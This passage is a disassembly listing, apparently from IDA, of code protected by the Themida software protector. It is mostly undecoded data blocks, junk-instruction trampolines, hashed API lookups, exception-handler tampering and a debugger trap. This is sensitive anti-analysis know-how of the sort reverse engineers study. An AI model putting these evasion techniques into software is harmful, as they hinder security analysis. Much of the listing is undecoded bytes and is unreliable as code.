6AC08Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0A2180FC3h, 0BD837A8Ch dd 60B05BDh, 83097500h, 0B29D1BDh, 19740006h, 0C08B5350h dd 7D3B8h, 35858900h, 8D060B2Ah, 0DB31A9Dh, 5BD3FF06h dd 0D1BD8358h, 60B29h, 53501774h, 7D3B8h, 35858900h, 8D060B2Ah dd 0DB0099Dh, 5BD3FF06h, 0B5295358h, 60B1A2Dh, 6870F5Ah dd 81000000h, 33959DDAh, 66C08B24h, 0BD81D78Bh, 60DF5A8h dd 6165726Fh, 8F840Fh, 0BA660000h, 9D8955AFh, 60B3349h dd 0F620858Dh, 8D50060Dh, 0DF75D85h, 858D5006h, 60DF77Eh dd 0D95FF50h, 83060B00h, 85C60CC4h, 60B2845h, 184F6844h dd 0B5FF96A3h, 60B0B01h, 390D858Dh, 0D0FF060Bh, 858DD88Bh dd 60DF77Eh, 8DD3FF50h, 0DF5A885h, 858D5006h, 60DF620h dd 0B1BD8350h, 60B0Dh, 858D0874h, 60DF746h, 858D06EBh dd 60DF72Fh, 7E858D50h, 50060DF7h, 0D95FFh, 0C483060Bh dd 198D2310h, 8B060B07h, 0B17D9BDh, 5D95FF06h, 6A060B16h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0EE00C351h, 25840B76h, 0FFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 10C35343h, 0EDA99ABAh dd 0C280986Ch, 0BDEE80F5h, 0F05F883h, 2483h, 5985C700h dd 1060B28h, 0F000000h, 58Ch, 7B91BA00h, 858D737Eh, 60DF5DCh dd 43E92DB2h, 0B6000000h, 0B1BD836Bh, 60B0Dh, 2E840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 858D6BC3h, 60DF607h, 0DCF8166h, 8E938h, 0FB8B0000h dd 0F5E9858Dh, 8589060Dh, 60DF61Ch, 0E9F98B66h, 11h, 9B5548FDh dd 93BEE265h, 0FE129581h, 327CF8BAh, 0B1BD83F3h, 60B0Dh dd 21850Fh, 0DF810000h, 28B6F77Eh, 9EAB18B9h, 0A3BD8318h dd 60E05h, 2F840Fh, 0B70F0000h, 0AD8D23CAh, 0E9060B0Ch dd 1135h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 4FC35242h, 0BCF0854Dh, 447E952h, 0BD8B0000h, 60B1599h dd 0B589C08Bh, 60B053Dh, 5BDBD83h, 7500060Bh, 0D1BD8309h dd 60B29h, 53501974h, 0D4B8C08Bh, 89000007h, 0B2A3585h dd 1A9D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh, 17740006h dd 0D4B85350h, 89000007h, 0B2A3585h, 99D8D06h, 0FF060DB0h dd 8B585BD3h, 0B0DA195h, 0DDB50906h, 8B060B03h, 57006AC0h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8952AC8Ah, 0B0D45B5h, 3F685A06h, 6A000F00h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 3841C353h, 5481F0E0h, 0A3203B75h, 67E98166h, 8DBD8927h dd 6A060B21h, 0E18D8B00h, 66060B01h, 0F6F3D181h, 8D8B006Ah dd 60B0AD1h, 1B8D95FFh, 8D8B060Bh, 60B0F19h, 850FC085h dd 9, 1EA18D8Bh, 8B66060Bh, 0A08589CEh, 6A060DF5h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 3280C357h, 95F014CFh, 0CA8BDEFBh, 6AEBB2h, 33758D8Bh dd 6A060Bh, 8D8B006Ah, 60B26F5h, 0AE9006Ah, 30000000h dd 12647A53h, 2A61FD17h, 8D006A79h, 0DF77E85h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0A0658103h, 0F5350FFh, 38Fh, 0CF8B6600h, 8B016A59h dd 0B2016AF9h, 29016A15h, 0B299D9Dh, 1FF6806h, 0B966000Fh dd 0BD83D9D4h dd 60B0DB1h, 2A840F00h, 60000000h, 19359D8Bh, 0CD80060Bh dd 858D61BBh, 60DF5FDh, 29FD8D8Bh, 3EE9060Bh, 0E9000000h dd 9, 0B19D05EBh, 674F3929h, 0D3858DF3h, 60060DF5h, 61953151h dd 5F060B11h, 14E8h, 7240B800h, 0C9753296h, 5F1B3DDAh dd 0FE9B5F3h, 0A1959FFh, 0F9852B5Dh, 58060B31h, 6A505061h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 17FC353h, 7CA423BFh, 0E9C2B63Eh, 10h, 6B7DBB91h dd 302A4E9Eh, 2BB7659Eh, 72508963h, 0F5A0B5FFh, 0CF8B060Dh dd 8C95FFFCh, 0F060DF5h, 681h, 59958B00h, 3060B31h, 0B12B995h dd 0FC08506h, 2F85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 893A3C59h, 0B00E99Dh dd 43E906h, 9D890000h, 60B1359h, 0F5A48589h, 8166060Dh dd 0FFF0CEE2h, 0DF5A4B5h, 6E906h, 0CF580000h, 0AA55413Ah dd 2F195FFh, 8B50060Bh, 0B1FAD95h, 0C0855906h, 0B850Fh dd 6E90000h, 0C9000000h, 5FDF793Eh, 2B106AD7h, 0B20BD95h dd 5B58906h, 83060B29h, 0B0DB1BDh, 840F0006h, 1Ch, 87DB589h dd 858D060Bh, 60DF5FDh, 0D8C641B9h, 12E942h, 0DF810000h dd 7A702B7Eh, 0F5D3858Dh, 8531060Dh, 60B0C0Dh, 798D8B50h dd 0F060B05h, 689h, 0D9858900h, 0FF060B17h, 0DF5A0B5h dd 28F0F06h, 8B000000h, 9895FFCFh, 8B060DF5h, 0FC085FAh dd 1285h, 0C820F00h, 0F000000h, 689h, 800F00h, 89000000h dd 0DF5A485h, 49BD8B06h, 6A060B33h, 9D858900h, 6A060B08h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0DD810B19h, 0F8E51ECEh, 10E96091h, 0C5000000h dd 9D8E2C7h, 4F53F3FDh, 86B5EE51h, 0BE686FB9h, 29FC9AE5h dd 0A4B5FF61h, 8B060DF5h, 0B0339BDh, 9095FF06h, 2B060DF5h dd 0B2F498Dh, 0FC08506h, 2085h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 1CC6C6A0h dd 0A4B5FFE5h, 80060DF5h, 95FFEEDEh, 60B02F1h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0BCC35040h, 0F76AAEE5h dd 89D6BEAFh, 0B2021BDh, 0FC08506h, 2485h, 10E86000h, 8B000000h dd 2244DEE8h, 4FBA7F71h, 0F388535Eh, 8B98D58Ch, 0B2F35BDh dd 0BD895806h, 60B2A69h, 6A006A61h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 8C1DC355h dd 0BD29C8DFh, 60B0995h, 8068h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0EE9F1h, 0F4800000h dd 6FBFDD38h, 0E4E801DEh, 0F850EF7Ah, 0B589036Ah, 60B06E9h dd 0BD89006Ah, 60B1A59h, 0E280006Ah, 5860F28h, 66000000h dd 316BD781h, 68h, 0FFD38AC0h, 0DF61CB5h, 0C9816606h, 95FF8FA0h dd 60B0265h, 0B7D98166h, 0DE8DCh, 0B6C50000h, 4793E45Fh dd 0B6C70962h, 8B248029h, 0F8835ACBh, 66850FFFh, 0BA000005h dd 779A95A1h, 18D99529h, 85FF060Bh, 60E008Ah, 246D9501h dd 9D89060Bh, 60B3281h, 8ABD83h, 0F02060Eh, 40A84h, 0DD00B900h dd 858D6C33h, 5AF59Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 5AC35242h, 61393360h, 0FD0FF8Eh, 987h dd 38A0F00h, 80000000h, 858D4CD2h, 5AEFF2h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 81C35646h, 8B80041Dh dd 0B07F9BDh, 0E9D0FF06h, 10h, 73EABD59h, 0CC9D0E80h, 6F6C4AC6h dd 0C5525A85h, 7E8h, 0BEE0C600h, 743F1A81h, 5AD4E180h dd 9D29C08Bh, 60B2A69h, 5BDBD83h, 7500060Bh, 0D1BD8309h dd 60B29h, 53501974h, 0D8B8C08Bh, 89000007h, 0B2A3585h dd 1A9D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh, 17740006h dd 0D8B85350h, 89000007h, 0B2A3585h, 99D8D06h, 0FF060DB0h dd 0E9585BD3h, 0Dh, 70B744E9h, 745CFFECh, 0F145EF55h, 0CEF781CAh dd 803B8C9Ch, 0C08BA6C5h, 4398501h, 3F68060Bh, 8B000F00h dd 0B185995h, 8B006A06h, 9E9FAh, 342F0000h, 785ED287h dd 6AE1286Eh, 6800F00h, 89000000h, 0B27FD85h, 8D95FF06h dd 6A060B1Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0F233C355h, 6EC67886h, 8589C085h dd 60B0069h, 0F5A08589h, 6A060Dh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 83B611C3h, 81665676h dd 6839B5DAh, 0F01FFh, 23F58D8Bh, 0BD83060Bh, 60B0DB1h dd 36840F00h, 8B000000h, 0B291995h, 0FD858D06h, 0B060DF5h dd 0B158DBDh, 4CE906h, 8B660000h, 0EE850FAh, 0A000000h dd 557036FDh, 0E758C953h, 84D7893h, 3DBD89EAh, 5F060B1Bh dd 0D3858D59h, 6A060DF5h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 4A3FC353h, 0BEE8F3Bh dd 84C8BA1Ch, 665052FEh, 3F67EA81h, 0F5A0B5FFh, 0C181060Dh dd 219881FDh, 0F59895FFh, 9E8060Dh, 49000000h, 11C6054Ah dd 0C730697Eh, 6880Fh, 0DF810000h, 435CBECCh, 0A485895Ah dd 23060DF5h, 0B0CF18Dh, 0CA8B6606h, 0C7D85C7h, 60Bh, 0F1800000h dd 0A4BD83A5h, 60DF5h, 18F840Fh, 8E80000h, 0AE000000h dd 745B2D98h, 0BAB14B5Ah, 6F87E7EFh, 82858D5Ah, 89060DF8h dd 0B292D9Dh, 81665006h, 6AEDD7CFh, 0CA816601h, 0B5FF5455h dd 60DF5A4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0DBC35242h, 75DD9E18h, 95FFF94Ah, 60DF59Ch, 1BC1B501h dd 0B5FF060Bh, 60DF5A4h, 0DAD9529h, 95FF060Bh, 60B02F1h dd 2E758D8Bh, 0FF68060Bh, 1000F01h, 0B319195h, 3D958B06h dd 83060B18h, 0B0DB1BDh, 840F0006h, 34h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 14h, 1AC35040h, 0FA34BF66h dd 0EDD8509h, 858D060Bh, 60DF5FDh, 0DE9F8h, 0D38B0000h dd 0F5D3858Dh, 43BF060Dh, 506E563Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 1C35141h, 0E94ED345h, 6, 0ADDC9C0Eh dd 0B5FF17E9h, 60DF5A0h, 0DA98D8Bh, 7BA060Bh, 0FF34CAC3h dd 0DF59895h, 0FFBF0F06h, 0F5A48589h, 8589060Dh, 60B2905h dd 0F5A4B5FFh, 8D89060Dh, 60B16BDh, 29919589h, 95FF060Bh dd 60DF594h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 51C35646h, 0AE99EC9h, 34000000h, 0A50AF185h, 1C7EFA84h dd 0FD8D8B3Dh, 0FF060B0Fh, 0DF5A4B5h, 0C5E28106h, 336F2403h dd 0B0D258Dh, 0F195FF06h, 89060B02h, 0B00119Dh, 0F6EAE906h dd 10E9FFFFh, 0F7000000h, 0ACF015D6h, 1AF25F14h, 0DCB239C2h dd 0FFDF3F6Bh, 0E00EDB5h, 0BBC78106h, 0FF290958h, 0B0AC595h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 66A39068h, 858BC88Bh, 60B2B2Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 27C35141h, 895DF0CCh dd 0B023985h, 11E906h dd 0BDDC0000h, 0D8BFB08Fh, 0EC7A0B3Ch, 0DEC0D249h, 0E9120AACh dd 5ACh, 11E8h, 29F05800h, 6CC3CD0Ah, 5E437616h, 23BF017Fh dd 95897CA4h, 60B19C5h, 0A2B58D5Ah, 60060DF8h, 1B719D89h dd 0EE8A060Bh, 0F9858D61h, 89060DA5h, 0B0B319Dh, 0FCD0FF06h dd 0B529006Ah, 60B13F9h, 2F4D95FFh, 6A060Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 8501C5C3h dd 1BBA663Ch, 0E1816603h, 0F38BFAB6h, 1AD59D09h, 858D060Bh dd 60DA5F9h, 0B2D8D8Bh, 0D0FF060Bh, 0C958509h, 6A060Bh dd 6830F60h, 8B000000h, 0B217585h, 0A1BD8906h, 61060B0Bh dd 0B9A9CF81h, 95FF12D5h, 60B2F4Dh, 38E0Fh, 8B660000h dd 89C08BCBh, 0B319195h, 0BDBD8306h, 60B05h, 0BD830975h dd 60B29D1h, 50197400h, 0B8C08B53h, 7D9h, 2A358589h, 9D8D060Bh dd 60DB31Ah, 585BD3FFh, 29D1BD83h, 7400060Bh, 0B8535017h dd 7D9h, 2A358589h, 9D8D060Bh, 60DB009h, 585BD3FFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 44C35747h, 17DA98Ah dd 0B70F7E0Dh, 0FFB70FCAh, 0D181C08Bh, 78BBE6FDh, 12800F50h dd 0E9000000h, 0Dh, 7D43AB19h, 0AD9490A3h, 0AA234591h dd 6AD88B82h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0A42FC352h, 0A4DC05C8h, 80872927h dd 8B66B1F5h, 9D8D53D0h, 60B043Dh, 389038Bh, 8950438Bh dd 9D8D5043h, 60E0086h, 389038Bh, 0CE95Bh, 0CD250000h dd 0D6428724h, 296467AAh, 9D890BB6h, 60B0515h, 0BD8B006Ah dd 60B211Dh, 86858Dh, 8166060Eh, 508AD8F2h, 22899523h dd 606A060Bh, 43D858Dh, 0DCBF060Bh, 505DDA84h, 8589006Ah dd 60B05C1h, 0BD8B006Ah, 60B0139h, 180068h, 0CD958B00h dd 53060B2Eh, 0C981D38Ah, 36E5E147h, 59995FFh, 880F060Bh dd 1, 8D95FFFCh, 0F060B0Bh, 884h, 8F0F5200h, 0 ; --------------------------------------------------------------------------- pop edi pusha xor dh, 66h mov ebx, ecx popa push dword ptr [ebp+60E00EDh] mov cx, 4627h push eax jns loc_56EF3C movsx ecx, di loc_56EF3C: ; CODE XREF: Themida_:0056EF33j pop edx call dword ptr [ebp+60B0AC5h] push 0 push ebx call sub_56EF4E and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56EF4E proc near ; CODE XREF: Themida_:0056EF46p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_56EF4E endp ; --------------------------------------------------------------------------- dw 1729h dd 87DD507Ah, 8F293FA5h, 43D858Dh, 8166060Bh, 8B4F78C9h dd 6A1840h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 25D44C3h, 5169B1DDh, 0E8AA53E0h, 5, 4452B355h dd 0CE9A6h, 8F200000h, 26DD29FDh, 36B1E03Fh, 665F1D5Ch dd 85C7CB8Bh, 60B0711h, 0 ; --------------------------------------------------------------------------- xor edx, [ebp+60B0375h] cmp dword ptr [ebp+60B0DB1h], 0 jz loc_56F014 sub di, 0A83Ah cmp eax, 8Ch jnb loc_56F20A mov [ebp+60B1B31h], edx jmp loc_56F04F ; --------------------------------------------------------------------------- push 0 push esi call sub_56EFFD and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56EFFD proc near ; CODE XREF: Themida_:0056EFF5p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_56EFFD endp ; --------------------------------------------------------------------------- pop esi mov edi, [ebp+60B20F1h] loc_56F014: ; CODE XREF: Themida_:0056EFD1j cmp eax, 96h jnb loc_56F20A push 0 push edx call sub_56F02A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56F02A proc near ; CODE XREF: Themida_:0056F022p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_56F02A endp ; --------------------------------------------------------------------------- sbb [ecx-6Ah], cl mov edi, 564D1CAEh jnb loc_56F04E mov [ebp+60B0EF1h], edi loc_56F04E: ; CODE XREF: Themida_:0056F042j pop edi loc_56F04F: ; CODE XREF: Themida_:0056EFEDj lea eax, byte_5AF59F[ebp] mov ecx, esi mov [ebp+60B0865h], ecx call eax push 0 push ebx call sub_56F06A and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56F06A proc near ; CODE XREF: Themida_:0056F062p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_56F06A endp ; --------------------------------------------------------------------------- dw 0CD3Ch dd 0B18E8E55h, 11E874h, 0BB610000h, 4B8A1EADh, 0EE8AD301h dd 0CD346D98h, 0FB7243Dh, 683h, 0ECDF8100h, 5F270716h dd 0EFF2858Dh, 6A005Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 2E00FCC3h, 66D0A128h, 3FA0C781h dd 958BD0FFh, 60B1161h, 8BBAC08Bh, 836628FFh, 0B05BDBDh dd 9750006h, 29D1BD83h, 7400060Bh, 8B535019h, 0BC6B8C0h dd 85890000h, 60B2A35h, 0B31A9D8Dh, 0D3FF060Dh, 0BD83585Bh dd 60B29D1h, 50177400h, 0BC6B853h, 85890000h, 60B2A35h dd 0B0099D8Dh, 0D3FF060Dh, 0E580585Bh, 0E9858946h, 8B060B0Ah dd 0FFF883C0h, 87850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 103F16C3h, 7DBD8B81h dd 0C7060B24h, 0B316D85h, 6, 0FFB96600h, 111E9B2h, 66E90000h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 3908C350h, 9DB3CE98h, 10E8605Fh dd 42000000h, 0D464E492h, 93F3BD38h, 32C79564h, 664DEBDCh dd 59A483B8h, 1B59BD09h, 8B61060Bh, 0B0F59BDh, 1F88306h dd 13850Fh, 0D2800000h, 0D6E9BDh, 87B90000h, 9699940h dd 0B112995h, 0F176E906h, 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 45F829C3h, 32EDBD8Bh ; --------------------------------------------------------------------------- or eax, [esi] loc_56F20A: ; CODE XREF: Themida_:0056EFE1j ; Themida_:0056F019j mov eax, eax mov [ebp+60B28EDh], esi cmp dword ptr [ebp+60B05BDh], 0 jnz short loc_56F224 cmp dword ptr [ebp+60B29D1h], 0 jz short loc_56F23D loc_56F224: ; CODE XREF: Themida_:0056F219j push eax push ebx mov eax, eax mov eax, 7DDh mov [ebp+60B2A35h], eax lea ebx, [ebp+60DB31Ah] call ebx pop ebx pop eax loc_56F23D: ; CODE XREF: Themida_:0056F222j cmp dword ptr [ebp+60B29D1h], 0 jz short loc_56F25D push eax push ebx mov eax, 7DDh mov [ebp+60B2A35h], eax lea ebx, [ebp+60DB009h] call ebx pop ebx pop eax loc_56F25D: ; CODE XREF: Themida_:0056F244j jmp loc_56F271 ; --------------------------------------------------------------------------- dw 7E63h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0BAh, 3, 65h dd 40884A9Ah, 0E7641522h ; --------------------------------------------------------------------------- aas loc_56F271: ; CODE XREF: Themida_:loc_56F25Dj mov ecx, [ebp+60B1899h] mov eax, eax mov cx, si jmp loc_56F465 ; --------------------------------------------------------------------------- xor [ebp+60B1AE5h], edi lea eax, [ebp+60DFE8Ah] mov edi, 6959604Eh mov [ebp+60E0082h], eax mov ecx, [ebp+60B2329h] mov [ebp+60B05B9h], edx jmp loc_56F2C7 ; --------------------------------------------------------------------------- movsx ecx, ax lea eax, [ebp+60DFC92h] movzx ecx, cx inc eax mov edi, [ebp+60B0E5Dh] mov [ebp+60E0082h], eax add di, 1C56h loc_56F2C7: ; CODE XREF: Themida_:0056F2A4j push 34h lea eax, [ebp+60B16C5h] push eax push dword ptr [ebp+60E0082h] push 0 call dword ptr [ebp+60B0BD9h] cmp eax, 7 jz loc_56F449 mov bx, ds test bl, 4 jnz loc_56F3EF mov byte ptr [ebp+60B2845h], 56h push 9CA8B852h push dword ptr [ebp+60B0B01h] lea eax, [ebp+60B390Dh] call eax push 4 push 1000h push 64h push 0 call eax mov [ebp+60E00F5h], eax mov byte ptr [ebp+60B2845h], 47h push 0EC18AC9Bh push dword ptr [ebp+60B0B01h] lea eax, [ebp+60B390Dh] call eax call eax mov esi, eax mov byte ptr [ebp+60B2845h], 4Fh push 0C62F2661h push dword ptr [ebp+60B194Dh] lea eax, [ebp+60B390Dh] call eax lea ebx, [ebp+60E00F1h] push ebx push 28h push esi call eax test eax, eax jnz short $+2 mov byte ptr [ebp+60B2845h], 41h push 0DB876498h push dword ptr [ebp+60B194Dh] lea eax, [ebp+60B390Dh] call eax mov [ebp+60E010Eh], eax mov byte ptr [ebp+60B2845h], 4Ch push 80A4E7A4h push dword ptr [ebp+60B194Dh] lea eax, [ebp+60B390Dh] call eax mov ebx, [ebp+60E00F5h] lea ebx, [ebx+4] push ebx lea ebx, [ebp+60E00FAh] push ebx push 0 call eax mov ebx, [ebp+60E00F5h] mov dword ptr [ebx], 1 mov dword ptr [ebx+0Ch], 2 mov dword ptr [ebp+60B0C59h], 0 push 0 push 0 push 0 mov ebx, [ebp+60E00F5h] push ebx push 0 push dword ptr [ebp+60E00F1h] call dword ptr [ebp+60E010Eh] loc_56F3EF: ; CODE XREF: Themida_:0056F2EDj mov byte ptr [ebp+60B2845h], 45h push 92A5F797h push dword ptr [ebp+60B0315h] lea eax, [ebp+60B390Dh] call eax push 0 push 2 call eax mov bx, ds test bl, 4 jnz short loc_56F449 mov ebx, [ebp+60E00F5h] mov dword ptr [ebx+0Ch], 0 push 0 push 0 mov ebx, [ebp+60E00F5h] push ebx push 0 push dword ptr [ebp+60E00F1h] call dword ptr [ebp+60E010Eh] push dword ptr [ebp+60E00F1h] call dword ptr [ebp+60B0B8Dh] loc_56F449: ; CODE XREF: Themida_:0056F2E1j ; Themida_:0056F415j push 0 call dword ptr [ebp+60B2F4Dh] sub [ebp+60B28C1h], eax pusha or esi, 741A3004h mov ecx, [ebp+60B1AADh] popa ; START OF FUNCTION CHUNK FOR sub_56D9C7 loc_56F465: ; CODE XREF: sub_56D9C7+E2j ; Themida_:0056F27Cj lea eax, [ebp+60E3547h] push 0 push edi call sub_56F476 and [edi-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_56D9C7 ; =============== S U B R O U T I N E ======================================= sub_56F476 proc near ; CODE XREF: sub_56D9C7+1AA7p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi loc_56F484: ; CODE XREF: Themida_:0056F4AEj push edi retn sub_56F476 endp ; --------------------------------------------------------------------------- dw 906Ch ; --------------------------------------------------------------------------- xchg edi, [esi+7] pop esi wait xchg eax, esp push eax push 0 push edx call sub_56F49A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56F49A proc near ; CODE XREF: Themida_:0056F492p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_56F49A endp ; --------------------------------------------------------------------------- inc eax add edx, edi leave jno short loc_56F484 mov [ebp+60B2A05h], eax push large dword ptr fs:0 mov [ebp+60B0069h], ecx mov large fs:0, esp cld cmp dword ptr [ebp+60B2715h], 0 jz loc_56F530 mov [ebp+60B2E25h], esi cmp dword ptr [ebp+60B0B19h], 1 jnz loc_56F530 pusha mov [ebp+60B04E9h], eax jmp loc_56F509 ; --------------------------------------------------------------------------- db 26h dd 0B480197Fh, 0E02F3081h, 746B8341h, 0C72FEDAAh db 4Ch ; --------------------------------------------------------------------------- loc_56F509: ; CODE XREF: Themida_:0056F4F2j popa cmp byte ptr [ebp+60E050Eh], 0 jnz loc_56F530 mov cl, dl jmp loc_56F6AB ; --------------------------------------------------------------------------- pusha mov [ebp+60B29C1h], eax mov esi, [ebp+60B211Dh] popa mov dx, 0DF11h loc_56F530: ; CODE XREF: Themida_:0056F4D2j ; Themida_:0056F4E5j ... xor ebx, ebx push 0 push ebx call sub_56F53D and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56F53D proc near ; CODE XREF: Themida_:0056F535p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_56F53D endp ; --------------------------------------------------------------------------- db 0FDh, 14h, 2Eh dd 0FE24FEF4h, 8D0FC033h, 19h, 14E9h, 55745C00h, 0CAF145EFh dd 0B474BD6Bh, 0E9C8E845h, 188692A4h, 3F0F4063h, 8F640B07h dd 5, 4C48300h, 14E9h, 8A9C1C00h, 0DD22B8B1h, 0F4511591h dd 184982DBh, 8A4273CCh, 0F98B6667h, 0CE960h, 48410000h dd 0A9A324E9h, 6159F744h, 950BEEAEh, 60B1661h, 0FFFB8361h dd 1B840Fh, 0B5290000h, 60B2DF1h, 0D4E9h, 0BE900h, 37D20000h dd 0EAEA7A71h, 0BBEAB57Ah, 58E99Ch, 8C0F0000h, 3, 8BCABF0Fh dd 0C70C244Ch, 0A481h, 0FFFFFF00h, 0B88183FFh, 4000000h dd 8BC3C033h, 550C245Ch, 0E8h, 0ED815D00h, 60E3569h, 0B8838Bh dd 858D0000h, 60E3607h, 0B88389h, 335D0000h, 8B60C3C0h dd 49B529C6h, 61060B03h, 32819D89h, 858D060Bh, 60E355Fh dd 1A4D958Bh, 8150060Bh, 7B37B9C7h, 6E845h, 20E10000h dd 917A8E49h, 4A58D8Bh, 645F060Bh, 35FFh, 8D0B0000h, 60B2A59h dd 258964h, 60000000h, 6504BE66h, 0AB961h, 4B80000h, 54855D7h dd 0DF78164h, 85D465BBh, 0B640BA86h, 0EA810034h, 345FE8h dd 68FB81EDh, 75564D58h, 3185C70Ah, 1060B0Eh db 3 dup(0) ; --------------------------------------------------------------------------- loc_56F6AB: ; CODE XREF: Themida_:0056F519j pop large dword ptr fs:0 add esp, 4 mov edi, [ebp+60B2ED9h] stc mov edx, [ebp+60B21E5h] mov eax, eax mov [ebp+60B0BA5h], esi cmp dword ptr [ebp+60B05BDh], 0 jnz short loc_56F6DC cmp dword ptr [ebp+60B29D1h], 0 jz short loc_56F6F5 loc_56F6DC: ; CODE XREF: Themida_:0056F6D1j push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+60B1299h], eax lea ebx, [ebp+60DB381h] call ebx pop ebx pop eax loc_56F6F5: ; CODE XREF: Themida_:0056F6DAj cmp dword ptr [ebp+60B29D1h], 0 jz short loc_56F715 push eax push ebx mov eax, 43Dh mov [ebp+60B1299h], eax lea ebx, [ebp+60DB022h] call ebx pop ebx pop eax loc_56F715: ; CODE XREF: Themida_:0056F6FCj jmp loc_56F722 ; --------------------------------------------------------------------------- dw 833Eh dd 0A72742BEh db 0A3h, 2 ; --------------------------------------------------------------------------- loc_56F722: ; CODE XREF: Themida_:loc_56F715j jmp loc_56F730 ; --------------------------------------------------------------------------- sbb al, 0E3h mov esi, 0A78A82A2h sub al, 32h loc_56F730: ; CODE XREF: Themida_:loc_56F722j call near ptr loc_56F73D+1 int 3 ; Trap to Debugger outsd db 65h dec esi pop es out dx, al push ebx cwde loc_56F73D: ; CODE XREF: Themida_:loc_56F730p fmul dword ptr [ecx+0B08758Dh] push es pop edx mov eax, eax jmp loc_56F886 ; --------------------------------------------------------------------------- dd 4, 35382E31h, 35h, 6 dup(0) db 0 align 2 aExceptionInfor db 'Exception Information',0 aPleaseSendTheF db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah db 0Dh,0Ah db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah db 0Dh,0Ah db 0Dh,'Version = %s',0Ah db 0Dh,'CheckIN = %d',0Ah db 0Dh,'CheckOUT = %d',0Ah db 0Dh,'ProcIN = %d',0Ah db 0Dh,'ProcOUT = %d',0Ah db 0Dh,'ExitIN = %d',0Ah db 0Dh,'ExitOUT = %d',0Ah db 0Dh,'TPin = %d',0Ah db 0Dh,0 ; --------------------------------------------------------------------------- loc_56F886: ; CODE XREF: Themida_:0056F747j cmp dword ptr [ebp+60B0299h], 0 jz loc_56F9C0 lea eax, [ebp+60DAE39h] push eax lea eax, [ebp+60DADA3h] push eax push 80000001h call dword ptr [ebp+60DAE49h] lea eax, [ebp+60E36A8h] push eax lea eax, [ebp+60E36B2h] push eax push 0 push 0 lea eax, [ebp+60DADB7h] push eax push dword ptr [ebp+60DAE39h] call dword ptr [ebp+60B2A61h] lea eax, [ebp+60E36A8h] push eax lea eax, [ebp+60E36B6h] push eax push 0 push 0 lea eax, 